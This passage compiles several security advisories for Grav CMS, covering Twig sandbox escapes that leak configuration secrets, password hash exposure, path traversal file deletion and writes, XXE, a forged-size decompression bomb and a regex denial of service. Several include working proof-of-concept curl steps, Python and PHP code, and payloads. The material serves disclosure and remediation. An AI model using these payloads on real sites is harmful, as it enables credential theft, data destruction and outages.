When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.
PoC
bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')
Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null
Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)
Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null
Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'
Impact
Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.
Exposure of Password Hashes Leading to privilege escalation Severity Rating: Medium
Vector: Privilege Escalation
CVE: XXX
CWE: 200 - Exposure of Sensitive Information
CVSS Score: 6.2
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L
Analysis
It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.
An attacker with read access can: View and potentially crack the password hashes. Gain administrative access by cracking the admin password hash. Escalate privileges and compromise the entire admin panel.
Proof of Concept
1) Give read access to user accounts to a random user as shown in the following figures: !grav0 !grav2
2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.
3) Go to the admin profile http://127.0.0.1/admin/accounts/users/admin; The password is not display. Try inspecting the page source code as shown in the following figures: !grav2-1 You can see that it match the hash that is in the admin.yaml file : !Compare to the hash in database of the admin
4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt: !grav3
Workarounds No workaround is currently known
Timeline 2024-07-24 Issue identified
2024-09-27 Vendor contacted
About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.
Grav before 9.1.8 contains an arbitrary file write vulnerability in the Form plugin's process.save.filename parameter, which is validated against path traversal before Twig processing but never re-validated after rendering. Attackers can submit form data containing path traversal sequences that are processed through Twig templates, allowing them to write arbitrary files including PHP webshells to the web root or other sensitive directories.
Grav before 2.0.0-beta.2 contains an XML external entity injection vulnerability in SVG file upload processing that allows authenticated attackers to read arbitrary files. The application uses simplexmlloadstring without disabling external entity loading, enabling attackers to inject XXE payloads via malicious SVG files to exfiltrate sensitive data.
Grav before 2.0.2 contains a Twig sandbox bypass that allows a page author (any admin.pages user, or anyone able to write to user/pages) to exfiltrate configuration secrets. Although the sandbox replaces the 'config' variable with a redacted facade and strips Config::get/toArray from the method allowlist, the raw container remains accessible via the allow-listed grav.offsetGet('config'), which returns the real Config object. Allow-listed object-dumping filters (jsonencode, printr, yamlencode) then serialize that object at the PHP level without invoking the sandbox method gate, exposing the full config tree including plugin secrets such as SMTP credentials, API keys, and plugin DB credentials. This is an incomplete fix for GHSA-j274-39qw-32c9.
Grav before 2.0.1 contains a decompression bomb vulnerability in ZipArchiver::extract() that lacks limits on uncompressed size, file count, and nesting depth. Attackers can supply a crafted ZIP archive that expands to fill available disk space, causing denial of service by exhausting storage resources.
Summary
The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums ZipArchive::statIndex($i)['size'] and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.maxuncompressedsize (default 1 GiB) before extracting (ZipArchiver.php:77-86; same logic in GPM\Installer::unZip at Installer.php:228-238). statIndex()['size'] is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while extractTo() writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.
Details
extract()/unZip() validate every entry up front, then call Folder::create + extractTo. The size check is:
php $totalSize += (int) $stat['size']; // declared central-directory size if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }
$stat['size'] is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during extractTo, so a forged-small value passes the gate and the real stream inflates to disk. The maxfiles (entry count) and maxdepth (entry-name segments) checks are not forgeable this way.
PoC
Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:
python import zipfile, struct data = b'\x00' (1010241024) with zipfile.ZipFile('bomb.zip','w',zipfile.ZIPDEFLATED) as z: z.writestr('big.bin', data) raw = bytearray(open('bomb.zip','rb').read()) raw = raw.replace(struct.pack('<I', 1010241024), struct.pack('<I', 1)) open('bombforged.zip','wb').write(raw)
Drive the exact pre-extraction loop, then extract:
php $zip = new ZipArchive(); $zip->open('bombforged.zip'); $total = 0; for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; } // => $total === 1 (what the 1 GiB bound checks: PASSES) $zip->extractTo('/tmp/zout'); // => filesize('/tmp/zout/big.bin') === 10485760 (written despite the cap)
Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.
Impact
A forged archive fills the disk / exhausts inodes during extraction. Reached via GPM\Installer::unZip (gpm install / direct-install / self-upgrade) and admin backup restore (ZipArchiver::extract). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.
Fix
ZipArchiver.php:77-86 and Installer.php:228-238: don't trust the declared size. Extract each entry through a counting stream (ZipArchive::getStream + fread loop) and abort once cumulative written bytes pass maxuncompressedsize, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. maxfiles and maxdepth remain effective.
Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
Summary
A path traversal vulnerability in MediaUploadTrait::deleteFile() allows an authenticated user with media management permissions to delete arbitrary files on the server. The method validates only the basename portion of the filename using Utils::checkFilename(), while the directory path (which may contain ../ sequences) is preserved and passed unvalidated to unlink(). This enables directory escape from the intended media storage path.
Severity
High (8.1) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Details
In system/src/Grav/Common/Media/Traits/MediaUploadTrait.php, the deleteFile() method (lines 332-365) performs filename validation only on the basename, not the full path:
php public function deleteFile(string $filename, ?array $settings = null): void { $settings = $this->getUploadSettings($settings); $filesystem = Filesystem::getInstance(false);
// Line 339-340: Only the BASENAME is validated $basename = $filesystem->basename($filename); // e.g. "evil.jpg" from "../../evil.jpg" if (!Utils::checkFilename($basename)) { // passes - no traversal in basename throw new RuntimeException(/ ... /); }
$path = $settings['destination'] ?? $this->getPath(); // ...
// Line 353: Full pathname (with traversal) is preserved $pathname = $filesystem->pathname($filename); // "../../"
// Line 356-357: Traversal path reconstructed [$base, $ext,,] = $this->getFileParts($basename); $name = "{$pathname}{$base}.{$ext}"; // "../../evil.jpg"
// Line 360: Passed to doRemove() $this->doRemove($name, $path); }
doRemove() (line 521-582) then calls:
php // Line 538 unlink("{$folder}/{$filename}"); // e.g. unlink("/var/www/grav/user/pages/mypage/../../config/system.yaml")
Utils::checkFilename() (lines 1022-1044) properly checks for /, \, and .., but it is applied to $filesystem->basename($filename) (the last path component only), so traversal sequences in the directory portion are never validated.
Data flow from user input
The vulnerability is reachable through the Flex media handling pipeline:
1. FlexMediaTrait::setUpdatedMedia() (line 386) iterates form flash data where $filename is the array key - user-controlled 2. For file deletions ($file is null, line 396), NO upload validation is performed (the checkUploadedFile() call at line 401 only executes when $file is truthy) 3. The raw filename is stored in $this->uploads at line 414 4. saveUpdatedMedia() (line 499) calls $media->deleteFile($filename, $settings) with the unsanitized filename
Sibling: renameFile()
The same pattern exists in renameFile() (lines 374-405) which has even weaker validation - it performs NO checkFilename() call at all. While renameFile() currently has no callers in the core codebase, it is part of the public MediaUploadInterface and should be fixed as defense-in-depth.
Proof of Concept
Environment: Grav CMS 2.0.16 with admin plugin
The attack requires an authenticated admin user with page/media editing permissions (not super-admin).
1. Create a target file: bash echo "DELETEME" > /var/www/grav/user/data/target.txt
2. Submit a Flex object form (e.g. page edit) with a crafted media deletion where the filename key contains path traversal:
POST /admin/pages/mypage/task:save Content-Type: multipart/form-data
The form flash data includes a media deletion entry with key: "../../data/target.txt" -> null (deletion marker)
3. When saveUpdatedMedia() processes the deletion queue: - $filename = ../../data/target.txt - deleteFile("../../data/target.txt") is called - $basename = target.txt (passes checkFilename()) - $pathname = ../../data/ - $name = ../../data/target.txt - doRemove() calls unlink("/var/www/grav/user/pages/mypage/../../data/target.txt") - Which resolves to unlink("/var/www/grav/user/data/target.txt")
4. The file is deleted outside the intended media directory.
Impact
An authenticated user with media management permissions can: - Delete configuration files (user/config/system.yaml, user/config/security.yaml) - Delete other pages' content files - Delete authentication-related files (user account YAML files) - Cause denial of service by removing critical application files - Potentially escalate privileges by removing security configuration
Suggested Fix
Apply Utils::checkFilename() to the full $filename parameter before decomposing it, or reject any filename containing directory separators or .. sequences:
php public function deleteFile(string $filename, ?array $settings = null): void { $settings = $this->getUploadSettings($settings); $filesystem = Filesystem::getInstance(false);
// Validate the FULL filename, not just the basename if (!Utils::checkFilename($filename)) { throw new RuntimeException(/ ... /); }
// ... rest unchanged }
The same fix should be applied to renameFile() for both $from and $to parameters.
References
- Vulnerable file: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 332-365, 521-582 - Caller: system/src/Grav/Framework/Flex/Traits/FlexMediaTrait.php lines 386-414, 490-499 - Sibling: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 374-405 (renameFile) - Related GHSA: GHSA-g6j3-8jv9-ch5f (path traversal in PagesController::batchCopy - different file, same bug class)
Disclosure
This vulnerability was discovered using AI-assisted security research tools.
Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action that fails to validate the language code parameter. An authenticated admin user with admin.pages.create permission can supply directory traversal sequences in the lang POST field to write arbitrary .md files outside the pages directory with attacker-controlled content.
Grav 2.0.0 through 2.0.24 contain a Twig content sandbox escape. The array filter (and its identical function form) is on the sandbox allowlist but is registered without the needsissandboxed guard that printr, vardump, jsonencode, yamlencode and string carry, and its implementation calls toArray() — or falls back to an (array) cast — without consulting the sandbox method allowlist. Because the grav Twig global is the raw Pimple-based dependency injection container, a user who can author Twig in page content can evaluate grav|array to read the container's private $values array, including the un-redacted Config service; a second array cast returns the entire configuration tree, disclosing plugin credentials, SMTP and OAuth secrets, Redis passwords, proxy URLs and the security. subtree that the sandbox's redaction is meant to hide. Because the payload is stored in page content, the disclosed configuration is rendered to anonymous visitors. Grav 1.7 is not affected as it has no Twig content sandbox. Fixed in Grav 2.0.25.
Endpoint: admin/config/system Submenu: Languages Parameter: Supported Application: Grav v 1.7.48
---
Summary
A Denial of Service (DoS) vulnerability was identified in the "Languages" submenu of the Grav admin configuration panel (/admin/config/system). Specifically, the Supported parameter fails to properly validate user input. If a malformed value is inserted—such as a single forward slash (/) or an XSS test string—it causes a fatal regular expression parsing error on the server.
This leads to application-wide failure due to the use of the pregmatch() function with an improperly constructed regular expression, resulting in the following error:
pregmatch(): Unknown modifier 'o' File: /system/src/Grav/Common/Language/Language.php line 244
Once triggered, the site becomes completely unavailable to all users.
---
Details
- Vulnerable Endpoint: POST /admin/config/system - Submenu: Languages - Parameter: Supported
The application dynamically constructs a regular expression using the contents of the Supported field without escaping the input using pregquote() or proper validation. This allows attackers to inject invalid syntax into the regex engine, crashing the application during language resolution.
Stack trace excerpt:
Whoops \ Exception \ ErrorException (EWARNING) pregmatch(): Unknown modifier 'o' /system/src/Grav/Common/Language/Language.php244
---
Proof of Concept (PoC)
Payloads:
/
Steps to Reproduce:
1. Log into the Grav Admin Panel. 2. Navigate to: Configuration → System → Languages. 3. Locate the Supported field. 4. Insert one of the payloads above (e.g., a single slash /). 5. Click Save.
<img width="1897" height="639" alt="Pasted image 20250719183223" src="https://github.com/user-attachments/assets/d3a54a20-d30d-46c6-9015-722f80701cfb" />
1. Observe: All pages in the application begin throwing a fatal error and become inaccessible.
<img width="1802" height="998" alt="Pasted image 20250719175229" src="https://github.com/user-attachments/assets/b16750c2-507f-4c30-a9bb-d07fa92bb777" />
---
Impact
- Application-wide Denial of Service (DoS) - All login and admin views crash with the same error - Potentially exploitable by: - Admin panel users - CSRF if misconfigured
---
References
- CWE-1333: Improper Regular Expression - CWE-20: Improper Input Validation
Discoverer
Marcelo Queiroz
by CVE-Hunters